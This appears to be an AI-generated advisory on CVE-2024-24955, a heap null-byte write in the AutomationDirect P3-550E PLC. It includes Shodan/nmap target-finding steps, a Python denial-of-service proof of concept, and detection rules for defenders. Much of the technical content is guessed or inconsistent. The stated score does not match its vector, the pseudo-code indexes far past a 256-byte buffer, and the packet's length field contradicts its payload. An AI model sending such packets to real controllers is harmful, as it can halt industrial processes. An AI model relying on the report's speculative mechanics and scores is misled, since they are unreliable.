CVE-2024-24955

Executive Summary

CVE-2024-24955 is a critical heap-based memory corruption vulnerability affecting the AutomationDirect P3-550E programmable logic controller (PLC) running firmware version 1.2.10.9. The flaw resides in the Programming Software Connection FileSystem API, specifically at offset 0xb69fc, where an arbitrary null-byte write can be triggered by sending specially crafted network packets. This out-of-bounds write leads to heap corruption, potentially causing a denial of service (DoS) or arbitrary code execution in the context of the PLC firmware. With a CVSS score of 8.2 (High), the vulnerability is remotely exploitable without authentication, making it a significant threat to industrial control systems (ICS) environments. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild as of the report date.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Total loss of availability (DoS or crash).

Threat Level: High. The vulnerability allows remote, unauthenticated attackers to crash the PLC or potentially execute arbitrary code, disrupting industrial processes.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds write (CWE-787) in the Programming Software Connection FileSystem API of the AutomationDirect P3-550E PLC. The firmware version 1.2.10.9 contains a flaw at memory offset 0xb69fc where an arbitrary null byte (0x00) can be written to a heap-allocated buffer. This occurs when the API processes specially crafted network packets, likely during file system operations (e.g., reading, writing, or listing files). The null-byte write corrupts adjacent heap metadata or data, leading to heap-based memory corruption.

Technical Details:

• Root Cause: Improper bounds checking in the FileSystem API handler. The code fails to validate the length of user-supplied data before writing a null terminator, allowing an attacker to write a null byte at an arbitrary heap offset.
• Trigger Mechanism: An attacker sends a malicious network packet (likely over Modbus/TCP or a proprietary protocol) to the PLC’s programming port. The packet contains a crafted payload that causes the API to write a null byte at offset 0xb69fc relative to a heap buffer.
• Impact: Heap corruption can lead to:
  • Denial of service (PLC crash or watchdog reset).
  • Potential arbitrary code execution if the attacker can control the corrupted heap structures (e.g., function pointers or vtable entries).
• Attack Surface: The vulnerability is exposed on the network interface, typically on port 502 (Modbus) or a custom port used by AutomationDirect programming software.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void FileSystemAPI_Handler(char *input, size_t len) {
    char *buffer = malloc(256);
    // No bounds check on input length
    memcpy(buffer, input, len);
    // Arbitrary null-byte write at offset 0xb69fc
    buffer[0xb69fc] = '\0';  // Out-of-bounds write
}

A patched version would include proper bounds checking:

// Patched pseudo-code
void FileSystemAPI_Handler(char *input, size_t len) {
    char *buffer = malloc(256);
    if (len > 256) {
        // Reject oversized input
        return;
    }
    memcpy(buffer, input, len);
    // Only write null terminator if within bounds
    if (len < 256) {
        buffer[len] = '\0';
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• AutomationDirect P3-550E PLC with firmware 1.2.10.9.
• Network access to the PLC’s programming port (default port 502 or custom).
• Python 3.x with socket and struct libraries.

Exploitation Steps:

1. Identify Target: Scan for PLCs using Shodan dorks or Nmap (nmap -p 502 --script modbus-discover <target>).
2. Craft Payload: The payload must trigger the null-byte write at offset 0xb69fc. Since no public exploit exists, a proof-of-concept (PoC) can be developed:
   • Send a malformed Modbus/TCP packet with a crafted FileSystem API request.
   • The packet should include a large data field that causes the null-byte write.
3. Send Payload: Use a Python script to send the packet to the PLC.

Example PoC (Conceptual):

import socket

def exploit(target_ip, target_port=502):
    # Craft a malformed Modbus/TCP packet
    # Transaction ID, Protocol ID, Length, Unit ID
    # Function code for FileSystem API (e.g., 0x44)
    # Payload with large data to trigger null-byte write at offset 0xb69fc
    payload = b'\x00\x01\x00\x00\x00\x06\x01\x44' + b'A' * 0xb69fc + b'\x00'
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    response = sock.recv(1024)
    print(f"Response: {response}")
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Expected Outcome: The PLC crashes or becomes unresponsive, requiring a power cycle to recover.

Blue Team (Detection & Defense)

Detection:

• Monitor network traffic for anomalous Modbus/TCP packets with unusually large data fields.
• Use IDS/IPS rules (see Suricata rule below) to alert on out-of-bounds write attempts.
• Enable PLC logging and monitor for unexpected crashes or watchdog resets.

Defense:

• Isolate PLCs on a separate VLAN with strict firewall rules.
• Disable unused programming ports or restrict access to authorized IPs.
• Apply vendor patches when available (currently none).
• Use network segmentation and application-layer filtering for Modbus traffic.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Modbus/TCP packets with function code 0x44 (or custom FileSystem API code) and payload length > 256 bytes.
  • Packets targeting port 502 with anomalous data patterns (e.g., repeated 'A' characters).
• Host IOCs:
  • PLC crash logs indicating heap corruption or watchdog timeout.
  • Unexpected PLC reboots or unresponsive state.
• File IOCs:
  • Firmware version 1.2.10.9 (vulnerable).
  • No known malware files associated with this CVE.

Detection Engineering

YARA Rule

rule CVE_2024_24955_Arbitrary_Null_Byte_Write {
    meta:
        description = "Detects network packets targeting AutomationDirect P3-550E PLC with potential null-byte write exploit"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-24955"
    strings:
        $modbus_header = { 00 01 00 00 00 ?? 01 44 }  // Modbus/TCP header with function code 0x44
        $large_payload = /[A-Za-z0-9]{1000,}/  // Payload > 1000 bytes
    condition:
        $modbus_header and $large_payload
}

Sigma Rule

title: CVE-2024-24955 - AutomationDirect P3-550E Null-Byte Write Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic targeting AutomationDirect P3-550E PLC with potential null-byte write exploit
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 502
        payload|contains: '01 44'  # Modbus function code 0x44
        payload_length: '> 1000'
    condition: selection
falsepositives:
    - Legitimate large file transfers to PLC (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-24955 - AutomationDirect P3-550E Null-Byte Write Exploit"; flow:to_server; content:"|01 44|"; depth:10; byte_test:2,>,1000,4,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the P3-550E PLC on a dedicated VLAN with strict access controls.
2. Firewall Rules: Block access to port 502 (or the programming port) from untrusted networks.
3. Monitor Logs: Enable detailed logging on the PLC and monitor for crashes or anomalies.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from AutomationDirect. Contact vendor support for status.
• Workaround: If patching is not possible, disable the FileSystem API via the PLC configuration if supported.
• Alternative: Replace the vulnerable PLC with a patched or alternative model.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.